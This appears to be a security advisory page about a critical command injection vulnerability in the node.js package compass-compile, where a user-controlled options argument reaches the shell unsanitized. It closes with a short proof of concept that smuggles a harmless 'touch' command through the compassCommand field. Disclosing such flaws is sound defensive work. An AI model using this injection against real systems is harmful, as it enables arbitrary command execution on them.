> NVD · 9.8 CRITICAL

Overview

compass-compile is a Compass wrapper for node.js.

Affected versions of this package are vulnerable to Command Injection. The options argument can be controlled by users without any sanitization.

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

PoC

```
var Root = require('compass-compile'); var root = new Root(); var options = { compassCommand:"touch JHU" }
root.compile(options);
```
